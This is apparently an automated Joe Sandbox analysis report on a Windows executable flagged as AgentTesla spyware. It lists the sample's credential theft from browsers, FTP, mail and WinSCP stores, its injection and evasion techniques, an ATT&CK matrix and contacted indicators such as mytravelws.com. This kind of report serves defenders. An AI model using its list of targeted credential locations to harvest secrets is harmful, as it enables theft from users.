                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeCode function: 0_2_0040548B CloseHandle,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,0_2_0040548B
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeCode function: 0_2_0040263E FindFirstFileA,0_2_0040263E
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeThread delayed: delay time: 922337203685477Jump to behavior
                      Source: i6xFULh8J5.exe, 00000001.00000002.917679426.00000000050C0000.00000002.00000001.sdmpBinary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
                      Source: i6xFULh8J5.exe, 00000001.00000002.917679426.00000000050C0000.00000002.00000001.sdmpBinary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
                      Source: i6xFULh8J5.exe, 00000001.00000002.917679426.00000000050C0000.00000002.00000001.sdmpBinary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
                      Source: i6xFULh8J5.exe, 00000001.00000002.917679426.00000000050C0000.00000002.00000001.sdmpBinary or memory string: An unknown internal message was received by the Hyper-V Compute Service.
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeProcess information queried: ProcessInformationJump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeCode function: 0_2_00405E88 GetModuleHandleA,LoadLibraryA,GetProcAddress,0_2_00405E88
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeProcess token adjusted: DebugJump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeMemory allocated: page read and write | page guardJump to behavior

                      HIPS / PFW / Operating System Protection Evasion:

                      barindex
                      Maps a DLL or memory area into another processShow sources
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeSection loaded: unknown target: C:\Users\user\Desktop\i6xFULh8J5.exe protection: execute and read and writeJump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeProcess created: C:\Users\user\Desktop\i6xFULh8J5.exe 'C:\Users\user\Desktop\i6xFULh8J5.exe' Jump to behavior
                      Source: i6xFULh8J5.exe, 00000001.00000002.914864068.0000000000D20000.00000002.00000001.sdmpBinary or memory string: Program Manager
                      Source: i6xFULh8J5.exe, 00000001.00000002.914864068.0000000000D20000.00000002.00000001.sdmpBinary or memory string: Shell_TrayWnd
                      Source: i6xFULh8J5.exe, 00000001.00000002.914864068.0000000000D20000.00000002.00000001.sdmpBinary or memory string: Progman
                      Source: i6xFULh8J5.exe, 00000001.00000002.914864068.0000000000D20000.00000002.00000001.sdmpBinary or memory string: Progmanlock
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeCode function: 0_2_00405B88 GetVersion,GetSystemDirectoryA,GetWindowsDirectoryA,SHGetSpecialFolderLocation,SHGetPathFromIDListA,CoTaskMemFree,lstrcatA,lstrlenA,0_2_00405B88
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior

                      Stealing of Sensitive Information:

                      barindex
                      Yara detected AgentTeslaShow sources
                      Source: Yara matchFile source: 00000001.00000002.915053341.0000000002310000.00000004.00000001.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000001.00000002.913772727.0000000000400000.00000040.00000001.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000001.00000002.916734898.0000000004862000.00000040.00000001.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000000.00000002.657892904.00000000022C0000.00000004.00000001.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000001.00000002.915996454.0000000003381000.00000004.00000001.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000001.00000001.654864588.0000000000414000.00000040.00020000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000001.00000002.914093005.0000000000549000.00000004.00000020.sdmp, type: MEMORY
                      Source: Yara matchFile source: 1.2.i6xFULh8J5.exe.400000.1.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.2.i6xFULh8J5.exe.2310000.4.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.2.i6xFULh8J5.exe.415058.0.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.2.i6xFULh8J5.exe.3385530.5.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 0.2.i6xFULh8J5.exe.22d1458.3.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.2.i6xFULh8J5.exe.400000.1.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.2.i6xFULh8J5.exe.4860000.6.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.2.i6xFULh8J5.exe.2310000.4.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.1.i6xFULh8J5.exe.415058.1.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 0.2.i6xFULh8J5.exe.22c0000.4.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.2.i6xFULh8J5.exe.563db8.2.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.2.i6xFULh8J5.exe.3385530.5.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.2.i6xFULh8J5.exe.415058.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 0.2.i6xFULh8J5.exe.22d1458.3.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.2.i6xFULh8J5.exe.563db8.2.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 0.2.i6xFULh8J5.exe.22c0000.4.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.1.i6xFULh8J5.exe.400000.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.1.i6xFULh8J5.exe.415058.1.raw.unpack, type: UNPACKEDPE
                      Yara detected AgentTeslaShow sources
                      Source: Yara matchFile source: 00000001.00000002.915053341.0000000002310000.00000004.00000001.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000001.00000002.913772727.0000000000400000.00000040.00000001.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000001.00000002.916734898.0000000004862000.00000040.00000001.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000000.00000002.657892904.00000000022C0000.00000004.00000001.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000001.00000002.915996454.0000000003381000.00000004.00000001.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000001.00000001.654864588.0000000000414000.00000040.00020000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000001.00000002.914093005.0000000000549000.00000004.00000020.sdmp, type: MEMORY
                      Source: Yara matchFile source: Process Memory Space: i6xFULh8J5.exe PID: 6956, type: MEMORY
                      Source: Yara matchFile source: Process Memory Space: i6xFULh8J5.exe PID: 6920, type: MEMORY
                      Source: Yara matchFile source: 1.2.i6xFULh8J5.exe.400000.1.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.2.i6xFULh8J5.exe.2310000.4.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.2.i6xFULh8J5.exe.415058.0.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.2.i6xFULh8J5.exe.3385530.5.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 0.2.i6xFULh8J5.exe.22d1458.3.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.2.i6xFULh8J5.exe.400000.1.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.2.i6xFULh8J5.exe.4860000.6.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.2.i6xFULh8J5.exe.2310000.4.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.1.i6xFULh8J5.exe.415058.1.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 0.2.i6xFULh8J5.exe.22c0000.4.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.2.i6xFULh8J5.exe.563db8.2.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.2.i6xFULh8J5.exe.3385530.5.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.2.i6xFULh8J5.exe.415058.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 0.2.i6xFULh8J5.exe.22d1458.3.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.2.i6xFULh8J5.exe.563db8.2.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 0.2.i6xFULh8J5.exe.22c0000.4.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.1.i6xFULh8J5.exe.400000.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.1.i6xFULh8J5.exe.415058.1.raw.unpack, type: UNPACKEDPE
                      Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)Show sources
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\SessionsJump to behavior
                      Tries to harvest and steal browser information (history, passwords, etc)Show sources
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\CookiesJump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login DataJump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.iniJump to behavior
                      Tries to harvest and steal ftp login credentialsShow sources
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeFile opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xmlJump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeFile opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites\Quick Connect\Jump to behavior
                      Tries to steal Mail credentials (via file access)Show sources
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeFile opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.iniJump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeFile opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.iniJump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676Jump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeKey opened: HKEY_CURRENT_USER\Software\IncrediMail\IdentitiesJump to behavior
                      Source: Yara matchFile source: 00000001.00000002.915137007.0000000002381000.00000004.00000001.sdmp, type: MEMORY
                      Source: Yara matchFile source: Process Memory Space: i6xFULh8J5.exe PID: 6956, type: MEMORY

                      Remote Access Functionality:

                      barindex
                      Yara detected AgentTeslaShow sources
                      Source: Yara matchFile source: 00000001.00000002.915053341.0000000002310000.00000004.00000001.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000001.00000002.913772727.0000000000400000.00000040.00000001.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000001.00000002.916734898.0000000004862000.00000040.00000001.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000000.00000002.657892904.00000000022C0000.00000004.00000001.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000001.00000002.915996454.0000000003381000.00000004.00000001.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000001.00000001.654864588.0000000000414000.00000040.00020000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000001.00000002.914093005.0000000000549000.00000004.00000020.sdmp, type: MEMORY
                      Source: Yara matchFile source: 1.2.i6xFULh8J5.exe.400000.1.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.2.i6xFULh8J5.exe.2310000.4.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.2.i6xFULh8J5.exe.415058.0.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.2.i6xFULh8J5.exe.3385530.5.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 0.2.i6xFULh8J5.exe.22d1458.3.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.2.i6xFULh8J5.exe.400000.1.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.2.i6xFULh8J5.exe.4860000.6.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.2.i6xFULh8J5.exe.2310000.4.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.1.i6xFULh8J5.exe.415058.1.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 0.2.i6xFULh8J5.exe.22c0000.4.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.2.i6xFULh8J5.exe.563db8.2.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.2.i6xFULh8J5.exe.3385530.5.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.2.i6xFULh8J5.exe.415058.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 0.2.i6xFULh8J5.exe.22d1458.3.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.2.i6xFULh8J5.exe.563db8.2.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 0.2.i6xFULh8J5.exe.22c0000.4.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.1.i6xFULh8J5.exe.400000.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.1.i6xFULh8J5.exe.415058.1.raw.unpack, type: UNPACKEDPE
                      Yara detected AgentTeslaShow sources
                      Source: Yara matchFile source: 00000001.00000002.915053341.0000000002310000.00000004.00000001.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000001.00000002.913772727.0000000000400000.00000040.00000001.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000001.00000002.916734898.0000000004862000.00000040.00000001.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000000.00000002.657892904.00000000022C0000.00000004.00000001.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000001.00000002.915996454.0000000003381000.00000004.00000001.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000001.00000001.654864588.0000000000414000.00000040.00020000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000001.00000002.914093005.0000000000549000.00000004.00000020.sdmp, type: MEMORY
                      Source: Yara matchFile source: Process Memory Space: i6xFULh8J5.exe PID: 6956, type: MEMORY
                      Source: Yara matchFile source: Process Memory Space: i6xFULh8J5.exe PID: 6920, type: MEMORY
                      Source: Yara matchFile source: 1.2.i6xFULh8J5.exe.400000.1.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.2.i6xFULh8J5.exe.2310000.4.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.2.i6xFULh8J5.exe.415058.0.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.2.i6xFULh8J5.exe.3385530.5.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 0.2.i6xFULh8J5.exe.22d1458.3.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.2.i6xFULh8J5.exe.400000.1.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.2.i6xFULh8J5.exe.4860000.6.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.2.i6xFULh8J5.exe.2310000.4.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.1.i6xFULh8J5.exe.415058.1.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 0.2.i6xFULh8J5.exe.22c0000.4.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.2.i6xFULh8J5.exe.563db8.2.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.2.i6xFULh8J5.exe.3385530.5.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.2.i6xFULh8J5.exe.415058.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 0.2.i6xFULh8J5.exe.22d1458.3.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.2.i6xFULh8J5.exe.563db8.2.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 0.2.i6xFULh8J5.exe.22c0000.4.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.1.i6xFULh8J5.exe.400000.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.1.i6xFULh8J5.exe.415058.1.raw.unpack, type: UNPACKEDPE

                      Mitre Att&ck Matrix

                      Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
                      Valid AccountsWindows Management Instrumentation211Path InterceptionProcess Injection112Disable or Modify Tools1OS Credential Dumping2File and Directory Discovery2Remote ServicesArchive Collected Data1Exfiltration Over Other Network MediumEncrypted Channel1Eavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationSystem Shutdown/Reboot1
                      Default AccountsNative API1Boot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsObfuscated Files or Information1Credentials in Registry1System Information Discovery116Remote Desktop ProtocolData from Local System2Exfiltration Over BluetoothNon-Standard Port1Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
                      Domain AccountsAt (Linux)Logon Script (Windows)Logon Script (Windows)Software Packing31Security Account ManagerQuery Registry1SMB/Windows Admin SharesEmail Collection1Automated ExfiltrationNon-Application Layer Protocol1Exploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
                      Local AccountsAt (Windows)Logon Script (Mac)Logon Script (Mac)Masquerading1NTDSSecurity Software Discovery121Distributed Component Object ModelClipboard Data1Scheduled TransferApplication Layer Protocol11SIM Card SwapCarrier Billing Fraud
                      Cloud AccountsCronNetwork Logon ScriptNetwork Logon ScriptVirtualization/Sandbox Evasion141LSA SecretsProcess Discovery2SSHKeyloggingData Transfer Size LimitsFallback ChannelsManipulate Device CommunicationManipulate App Store Rankings or Ratings
                      Replication Through Removable MediaLaunchdRc.commonRc.commonProcess Injection112Cached Domain CredentialsVirtualization/Sandbox Evasion141VNCGUI Input CaptureExfiltration Over C2 ChannelMultiband CommunicationJamming or Denial of ServiceAbuse Accessibility Features
                      External Remote ServicesScheduled TaskStartup ItemsStartup ItemsCompile After DeliveryDCSyncApplication Window Discovery1Windows Remote ManagementWeb Portal CaptureExfiltration Over Alternative ProtocolCommonly Used PortRogue Wi-Fi Access PointsData Encrypted for Impact
                      Drive-by CompromiseCommand and Scripting InterpreterScheduled Task/JobScheduled Task/JobIndicator Removal from ToolsProc FilesystemRemote System Discovery1Shared WebrootCredential API HookingExfiltration Over Symmetric Encrypted Non-C2 ProtocolApplication Layer ProtocolDowngrade to Insecure ProtocolsGenerate Fraudulent Advertising Revenue

                      Behavior Graph

                      Screenshots

                      Thumbnails

                      This section contains all screenshots as thumbnails, including those not shown in the slideshow.

                      windows-stand

                      Antivirus, Machine Learning and Genetic Malware Detection

                      Initial Sample

                      SourceDetectionScannerLabelLink
                      i6xFULh8J5.exe13%VirustotalBrowse
                      i6xFULh8J5.exe100%Joe Sandbox ML

                      Dropped Files

                      SourceDetectionScannerLabelLink
                      C:\Users\user\AppData\Local\Temp\nsm5CFC.tmp\System.dll0%MetadefenderBrowse
                      C:\Users\user\AppData\Local\Temp\nsm5CFC.tmp\System.dll0%ReversingLabs

                      Unpacked PE Files

                      SourceDetectionScannerLabelLinkDownload
                      1.2.i6xFULh8J5.exe.400000.1.unpack100%AviraTR/Spy.Gen8Download File
                      1.2.i6xFULh8J5.exe.4860000.6.unpack100%AviraTR/Spy.Gen8Download File
                      0.2.i6xFULh8J5.exe.400000.0.unpack100%AviraHEUR/AGEN.1137482Download File
                      1.0.i6xFULh8J5.exe.400000.0.unpack100%AviraHEUR/AGEN.1137482Download File
                      0.0.i6xFULh8J5.exe.400000.0.unpack100%AviraHEUR/AGEN.1137482Download File
                      1.1.i6xFULh8J5.exe.400000.0.unpack100%AviraTR/Spy.Gen8Download File

                      Domains

                      SourceDetectionScannerLabelLink
                      mail.mytravelws.com1%VirustotalBrowse

                      URLs

                      SourceDetectionScannerLabelLink
                      http://crt.sectigo.com/SectigoRSADomainValidationSecureServerCA.crt0#0%URL Reputationsafe
                      http://crt.sectigo.com/SectigoRSADomainValidationSecureServerCA.crt0#0%URL Reputationsafe
                      http://crt.sectigo.com/SectigoRSADomainValidationSecureServerCA.crt0#0%URL Reputationsafe
                      http://crt.sectigo.com/SectigoRSADomainValidationSecureServerCA.crt0#0%URL Reputationsafe
                      http://127.0.0.1:HTTP/1.10%Avira URL Cloudsafe
                      http://DynDns.comDynDNS0%URL Reputationsafe
                      http://DynDns.comDynDNS0%URL Reputationsafe
                      http://DynDns.comDynDNS0%URL Reputationsafe
                      http://DynDns.comDynDNS0%URL Reputationsafe
                      https://sectigo.com/CPS00%URL Reputationsafe
                      https://sectigo.com/CPS00%URL Reputationsafe
                      https://sectigo.com/CPS00%URL Reputationsafe
                      https://sectigo.com/CPS00%URL Reputationsafe
                      http://crt.sectigo.com/SectigoRSADomainValidationScZ0%Avira URL Cloudsafe
                      http://ocsp.sectigo.com00%URL Reputationsafe
                      http://ocsp.sectigo.com00%URL Reputationsafe
                      http://ocsp.sectigo.com00%URL Reputationsafe
                      http://ocsp.sectigo.com00%URL Reputationsafe
                      https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha0%URL Reputationsafe
                      https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha0%URL Reputationsafe
                      https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha0%URL Reputationsafe
                      https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha0%URL Reputationsafe
                      http://DZUhkq.com0%Avira URL Cloudsafe
                      https://api.ipify.org%GETMozilla/5.00%URL Reputationsafe
                      https://api.ipify.org%GETMozilla/5.00%URL Reputationsafe
                      https://api.ipify.org%GETMozilla/5.00%URL Reputationsafe
                      https://Aloa82nGvgBCiZ.org0%Avira URL Cloudsafe
                      http://mytravelws.com0%Avira URL Cloudsafe
                      https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip0%URL Reputationsafe
                      https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip0%URL Reputationsafe
                      https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip0%URL Reputationsafe
                      http://mail.mytravelws.com0%Avira URL Cloudsafe
                      https://api.ipify.org%$0%Avira URL Cloudsafe

                      Domains and IPs

                      Contacted Domains

                      NameIPActiveMaliciousAntivirus DetectionReputation
                      mytravelws.com
                      185.145.97.154
                      truetrue
                        unknown
                        mail.mytravelws.com
                        unknown
                        unknowntrueunknown

                        URLs from Memory and Binaries

                        NameSourceMaliciousAntivirus DetectionReputation
                        http://crt.sectigo.com/SectigoRSADomainValidationSecureServerCA.crt0#i6xFULh8J5.exe, 00000001.00000002.915569353.00000000026DD000.00000004.00000001.sdmpfalse
                        • URL Reputation: safe
                        • URL Reputation: safe
                        • URL Reputation: safe
                        • URL Reputation: safe
                        unknown
                        http://127.0.0.1:HTTP/1.1i6xFULh8J5.exe, 00000001.00000002.915137007.0000000002381000.00000004.00000001.sdmpfalse
                        • Avira URL Cloud: safe
                        low
                        http://DynDns.comDynDNSi6xFULh8J5.exe, 00000001.00000002.915137007.0000000002381000.00000004.00000001.sdmpfalse
                        • URL Reputation: safe
                        • URL Reputation: safe
                        • URL Reputation: safe
                        • URL Reputation: safe
                        unknown
                        https://sectigo.com/CPS0i6xFULh8J5.exe, 00000001.00000002.915569353.00000000026DD000.00000004.00000001.sdmpfalse
                        • URL Reputation: safe
                        • URL Reputation: safe
                        • URL Reputation: safe
                        • URL Reputation: safe
                        unknown
                        http://crt.sectigo.com/SectigoRSADomainValidationScZi6xFULh8J5.exe, 00000001.00000002.918823038.00000000059DD000.00000004.00000001.sdmpfalse
                        • Avira URL Cloud: safe
                        unknown
                        http://nsis.sf.net/NSIS_Errori6xFULh8J5.exefalse
                          high
                          http://ocsp.sectigo.com0i6xFULh8J5.exe, 00000001.00000002.915569353.00000000026DD000.00000004.00000001.sdmpfalse
                          • URL Reputation: safe
                          • URL Reputation: safe
                          • URL Reputation: safe
                          • URL Reputation: safe
                          unknown
                          https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%hai6xFULh8J5.exe, 00000001.00000002.915137007.0000000002381000.00000004.00000001.sdmpfalse
                          • URL Reputation: safe
                          • URL Reputation: safe
                          • URL Reputation: safe
                          • URL Reputation: safe
                          unknown
                          http://DZUhkq.comi6xFULh8J5.exe, 00000001.00000002.915137007.0000000002381000.00000004.00000001.sdmpfalse
                          • Avira URL Cloud: safe
                          unknown
                          https://api.ipify.org%GETMozilla/5.0i6xFULh8J5.exe, 00000001.00000002.915137007.0000000002381000.00000004.00000001.sdmpfalse
                          • URL Reputation: safe
                          • URL Reputation: safe
                          • URL Reputation: safe
                          low
                          https://Aloa82nGvgBCiZ.orgi6xFULh8J5.exe, 00000001.00000002.915499236.0000000002696000.00000004.00000001.sdmp, i6xFULh8J5.exe, 00000001.00000003.871081377.0000000004FC1000.00000004.00000001.sdmp, i6xFULh8J5.exe, 00000001.00000002.915137007.0000000002381000.00000004.00000001.sdmp, i6xFULh8J5.exe, 00000001.00000002.915635781.0000000002704000.00000004.00000001.sdmpfalse
                          • Avira URL Cloud: safe
                          unknown
                          http://mytravelws.comi6xFULh8J5.exe, 00000001.00000002.915552191.00000000026D7000.00000004.00000001.sdmpfalse
                          • Avira URL Cloud: safe
                          unknown
                          http://nsis.sf.net/NSIS_ErrorErrori6xFULh8J5.exefalse
                            high
                            https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zipi6xFULh8J5.exe, 00000000.00000002.657892904.00000000022C0000.00000004.00000001.sdmp, i6xFULh8J5.exe, 00000001.00000002.915053341.0000000002310000.00000004.00000001.sdmpfalse
                            • URL Reputation: safe
                            • URL Reputation: safe
                            • URL Reputation: safe
                            unknown
                            http://mail.mytravelws.comi6xFULh8J5.exe, 00000001.00000002.915552191.00000000026D7000.00000004.00000001.sdmpfalse
                            • Avira URL Cloud: safe
                            unknown
                            https://api.ipify.org%$i6xFULh8J5.exe, 00000001.00000002.915137007.0000000002381000.00000004.00000001.sdmpfalse
                            • Avira URL Cloud: safe
                            low

                            Contacted IPs

                            • No. of IPs < 25%
                            • 25% < No. of IPs < 50%
                            • 50% < No. of IPs < 75%
                            • 75% < No. of IPs

                            Public

                            IPDomainCountryFlagASNASN NameMalicious
                            185.145.97.154
                            mytravelws.comNetherlands
                            54290HOSTWINDSUStrue

                            General Information

                            Joe Sandbox Version:32.0.0 Black Diamond
                            Analysis ID:432660
                            Start date:10.06.2021
                            Start time:16:30:27
                            Joe Sandbox Product:CloudBasic
                            Overall analysis duration:0h 8m 26s
                            Hypervisor based Inspection enabled:false
                            Report type:full
                            Sample file name:i6xFULh8J5.exe
                            Cookbook file name:default.jbs
                            Analysis system description:Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
                            Number of analysed new started processes analysed:16
